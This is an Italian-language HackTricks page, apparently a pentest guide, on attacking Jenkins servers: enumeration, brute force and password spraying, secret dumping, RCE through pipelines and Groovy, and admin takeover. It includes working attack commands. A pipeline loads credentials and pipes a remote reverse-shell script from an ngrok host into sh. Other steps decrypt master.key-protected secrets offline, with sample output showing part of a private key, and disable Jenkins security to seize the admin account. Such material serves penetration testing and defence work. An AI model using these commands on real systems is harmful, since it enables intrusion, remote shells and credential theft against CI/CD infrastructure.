# Sicurezza di Jenkins

{{#include ../../banners/hacktricks-training.md}}

## Informazioni di Base

Jenkins è uno strumento che offre un metodo semplice per stabilire un ambiente di **integrazione continua** o **consegna continua** (CI/CD) per quasi **qualsiasi** combinazione di **linguaggi di programmazione** e repository di codice sorgente utilizzando pipeline. Inoltre, automatizza vari compiti di sviluppo di routine. Sebbene Jenkins non elimini la **necessità di creare script per singoli passaggi**, fornisce un modo più veloce e robusto per integrare l'intera sequenza di strumenti di build, test e distribuzione rispetto a quanto si possa facilmente costruire manualmente.

{{#ref}}
basic-jenkins-information.md
{{#endref}}

## Enumerazione Non Autenticata

Per cercare pagine Jenkins interessanti senza autenticazione come (_/people_ o _/asynchPeople_, che elenca gli utenti attuali) puoi usare:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Controlla se puoi eseguire comandi senza necessitare di autenticazione:
```
msf> use auxiliary/scanner/http/jenkins_command
```
Senza credenziali puoi guardare dentro il percorso _**/asynchPeople/**_ o _**/securityRealm/user/admin/search/index?q=**_ per **nomi utente**.

Potresti essere in grado di ottenere la versione di Jenkins dal percorso _**/oops**_ o _**/error**_.

![](<../../images/image (146).png>)

### Vulnerabilità Conosciute

{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}

## Accesso

Nelle informazioni di base puoi controllare **tutti i modi per accedere a Jenkins**:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

### Registrazione

Sarai in grado di trovare istanze di Jenkins che **ti permettono di creare un account e accedere ad esso. Semplice come quello.**

### **Accesso SSO**

Inoltre, se la **funzionalità**/**plugin** **SSO** erano presenti, dovresti tentare di **accedere** all'applicazione utilizzando un account di test (ad es., un **account di test Github/Bitbucket**). Trucco da [**qui**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).

### Bruteforce

**Jenkins** manca di **politiche sulle password** e di **mitigazione del brute-force sui nomi utente**. È essenziale **bruteforzare** gli utenti poiché potrebbero essere in uso **password deboli** o **nomi utente come password**, anche **nomi utente invertiti come password**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying

Usa [questo script python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) o [questo script powershell](https://github.com/chryzsh/JenkinsPasswordSpray).

### Bypass della whitelist IP

Molte organizzazioni combinano **sistemi di gestione del controllo sorgente (SCM) basati su SaaS** come GitHub o GitLab con una **soluzione CI interna e self-hosted** come Jenkins o TeamCity. Questa configurazione consente ai sistemi CI di **ricevere eventi webhook dai fornitori di controllo sorgente SaaS**, principalmente per attivare i lavori della pipeline.

Per raggiungere questo obiettivo, le organizzazioni **whitelistano** i **range IP** delle **piattaforme SCM**, consentendo loro di accedere al **sistema CI interno** tramite **webhook**. Tuttavia, è importante notare che **chiunque** può creare un **account** su GitHub o GitLab e configurarlo per **attivare un webhook**, potenzialmente inviando richieste al **sistema CI interno**.

Controlla: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)

## Abusi interni di Jenkins

In questi scenari supponiamo che tu abbia un account valido per accedere a Jenkins.

> [!WARNING]
> A seconda del meccanismo di **Autorizzazione** configurato in Jenkins e dei permessi dell'utente compromesso, **potresti essere in grado o meno di eseguire i seguenti attacchi.**

Per ulteriori informazioni, controlla le informazioni di base:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

### Elencare gli utenti

Se hai accesso a Jenkins, puoi elencare altri utenti registrati in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)

### Dumping delle build per trovare segreti in chiaro

Usa [questo script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) per dumpare le uscite della console delle build e le variabili d'ambiente delle build per sperare di trovare segreti in chiaro.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### **Furto delle credenziali SSH**

Se l'utente compromesso ha **sufficienti privilegi per creare/modificare un nuovo nodo Jenkins** e le credenziali SSH sono già memorizzate per accedere ad altri nodi, potrebbe **rubare quelle credenziali** creando/modificando un nodo e **impostando un host che registrerà le credenziali** senza verificare la chiave dell'host:

![](<../../images/image (218).png>)

Di solito troverai le credenziali ssh di Jenkins in un **fornitore globale** (`/credentials/`), quindi puoi anche estrarle come faresti con qualsiasi altro segreto. Maggiori informazioni nella sezione [**Dumping secrets section**](./#dumping-secrets).

### **RCE in Jenkins**

Ottenere una **shell nel server Jenkins** offre all'attaccante l'opportunità di rubare tutti i **segreti** e le **variabili d'ambiente** e di **sfruttare altre macchine** situate nella stessa rete o persino **raccogliere credenziali cloud**.

Per impostazione predefinita, Jenkins verrà **eseguito come SYSTEM**. Quindi, comprometterlo darà all'attaccante **privilegi SYSTEM**.

### **RCE Creando/Modificando un progetto**

Creare/Modificare un progetto è un modo per ottenere RCE sul server Jenkins:

{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}

### **RCE Eseguendo uno script Groovy**

Puoi anche ottenere RCE eseguendo uno script Groovy, che potrebbe essere più furtivo rispetto alla creazione di un nuovo progetto:

{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}

### RCE Creando/Modificando una Pipeline

Puoi anche ottenere **RCE creando/modificando una pipeline**:

{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}

## Sfruttamento delle Pipeline

Per sfruttare le pipeline devi comunque avere accesso a Jenkins.

### Pipeline di Build

Le **pipeline** possono anche essere utilizzate come **meccanismo di build nei progetti**, in tal caso può essere configurato un **file all'interno del repository** che conterrà la sintassi della pipeline. Per impostazione predefinita viene utilizzato `/Jenkinsfile`:

![](<../../images/image (127).png>)

È anche possibile **memorizzare i file di configurazione della pipeline in altri luoghi** (in altri repository, ad esempio) con l'obiettivo di **separare** l'accesso al repository e l'accesso alla pipeline.

Se un attaccante ha **accesso in scrittura su quel file**, sarà in grado di **modificarlo** e **potenzialmente attivare** la pipeline senza nemmeno avere accesso a Jenkins.\
È possibile che l'attaccante debba **bypassare alcune protezioni dei rami** (a seconda della piattaforma e dei privilegi dell'utente, potrebbero essere bypassate o meno).

I trigger più comuni per eseguire una pipeline personalizzata sono:

- **Pull request** al ramo principale (o potenzialmente ad altri rami)
- **Push al ramo principale** (o potenzialmente ad altri rami)
- **Aggiornare il ramo principale** e aspettare che venga eseguito in qualche modo

> [!NOTE]
> Se sei un **utente esterno** non dovresti aspettarti di creare una **PR al ramo principale** del repo di **un altro utente/organizzazione** e **attivare la pipeline**... ma se è **mal configurato** potresti compromettere completamente le aziende semplicemente sfruttando questo.

### RCE Pipeline

Nella sezione RCE precedente è già stata indicata una tecnica per [**ottenere RCE modificando una pipeline**](./#rce-creating-modifying-pipeline).

### Controllo delle variabili d'ambiente

È possibile dichiarare **variabili d'ambiente in chiaro** per l'intera pipeline o per fasi specifiche. Queste variabili d'ambiente **non dovrebbero contenere informazioni sensibili**, ma un attaccante potrebbe sempre **controllare tutte le configurazioni della pipeline/Jenkinsfile**:
```bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### Dumping secrets

Per informazioni su come i segreti vengono solitamente trattati da Jenkins, controlla le informazioni di base:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

Le credenziali possono essere **scoperta a fornitori globali** (`/credentials/`) o a **progetti specifici** (`/job/<project-name>/configure`). Pertanto, per esfiltrare tutti, è necessario **compromettere almeno tutti i progetti** che contengono segreti ed eseguire pipeline personalizzate/contaminate.

C'è un altro problema, per ottenere un **segreto all'interno dell'env** di una pipeline è necessario **conoscere il nome e il tipo del segreto**. Ad esempio, se provi a **caricare** un **segreto `usernamePassword`** come un **segreto `string`**, otterrai questo **errore**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
Ecco come caricare alcuni tipi di segreti comuni:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
```
Alla fine di questa pagina puoi **trovare tutti i tipi di credenziali**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)

> [!WARNING]
> Il modo migliore per **estrarre tutti i segreti in una volta** è **compromettere** la macchina **Jenkins** (eseguendo una reverse shell nel **nodo integrato**, ad esempio) e poi **leakare** le **chiavi master** e i **segreti crittografati** e decrittografarli offline.\
> Maggiori informazioni su come fare questo nella sezione [Nodes & Agents](./#nodes-and-agents) e nella sezione [Post Exploitation](./#post-exploitation).

### Trigger

Dalla [documentazione](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): La direttiva `triggers` definisce i **modi automatizzati in cui il Pipeline dovrebbe essere riattivato**. Per i Pipeline che sono integrati con una sorgente come GitHub o BitBucket, `triggers` potrebbe non essere necessario poiché l'integrazione basata su webhook sarà probabilmente già presente. I trigger attualmente disponibili sono `cron`, `pollSCM` e `upstream`.

Esempio di Cron:
```bash
triggers { cron('H */4 * * 1-5') }
```
Controlla **altri esempi nella documentazione**.

### Nod e Agenti

Un **istanza di Jenkins** potrebbe avere **diversi agenti in esecuzione su macchine diverse**. Da una prospettiva di attaccante, l'accesso a diverse macchine significa **diverse potenziali credenziali cloud** da rubare o **diverso accesso alla rete** che potrebbe essere abusato per sfruttare altre macchine.

Per ulteriori informazioni controlla le informazioni di base:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

Puoi enumerare i **nodi configurati** in `/computer/`, di solito troverai il **`Built-In Node`** (che è il nodo che esegue Jenkins) e potenzialmente di più:

![](<../../images/image (249).png>)

È **particolarmente interessante compromettere il nodo Built-In** perché contiene informazioni sensibili di Jenkins.

Per indicare che vuoi **eseguire** il **pipeline** nel **nodo Jenkins integrato** puoi specificare all'interno del pipeline la seguente configurazione:
```bash
pipeline {
agent {label 'built-in'}
```
### Esempio completo

Pipeline in un agente specifico, con un trigger cron, con variabili d'ambiente della pipeline e dello stage, caricando 2 variabili in un passaggio e inviando una reverse shell:
```bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}
```
## Lettura di File Arbitrari per RCE

{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
{{#endref}}

## RCE

{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}

{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}

{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}

## Post Sfruttamento

### Metasploit
```
msf> post/multi/gather/jenkins_gather
```
### Jenkins Secrets

Puoi elencare i segreti accedendo a `/credentials/` se hai abbastanza permessi. Tieni presente che questo elencherà solo i segreti all'interno del file `credentials.xml`, ma **i file di configurazione della build** potrebbero avere anche **ulteriori credenziali**.

Se puoi **vedere la configurazione di ogni progetto**, puoi anche vedere lì i **nomi delle credenziali (segreti)** utilizzati per accedere al repository e **altre credenziali del progetto**.

![](<../../images/image (180).png>)

#### From Groovy

{{#ref}}
jenkins-dumping-secrets-from-groovy.md
{{#endref}}

#### From disk

Questi file sono necessari per **decriptare i segreti di Jenkins**:

- secrets/master.key
- secrets/hudson.util.Secret

Tali **segreti possono solitamente essere trovati in**:

- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml

Ecco una regex per trovarli:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Decrittare i segreti di Jenkins offline

Se hai estratto le **password necessarie per decrittare i segreti**, usa [**questo script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **per decrittare quei segreti**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Decrittare i segreti di Jenkins da Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Crea un nuovo utente admin

1. Accedi al file Jenkins config.xml in `/var/lib/jenkins/config.xml` o `C:\Program Files (x86)\Jenkis\`
2. Cerca la parola `<useSecurity>true</useSecurity>` e cambia la parola **`true`** in **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Riavvia** il server **Jenkins**: `service jenkins restart`
4. Ora vai di nuovo al portale Jenkins e **Jenkins non chiederà alcuna credenziale** questa volta. Naviga su "**Manage Jenkins**" per impostare di nuovo la **password dell'amministratore**.
5. **Riabilita** la **sicurezza** cambiando le impostazioni in `<useSecurity>true</useSecurity>` e **riavvia di nuovo Jenkins**.

## Riferimenti

- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
- [https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password](https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password)
- [https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html](https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html)
- [https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072](https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072)
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)

{{#include ../../banners/hacktricks-training.md}}
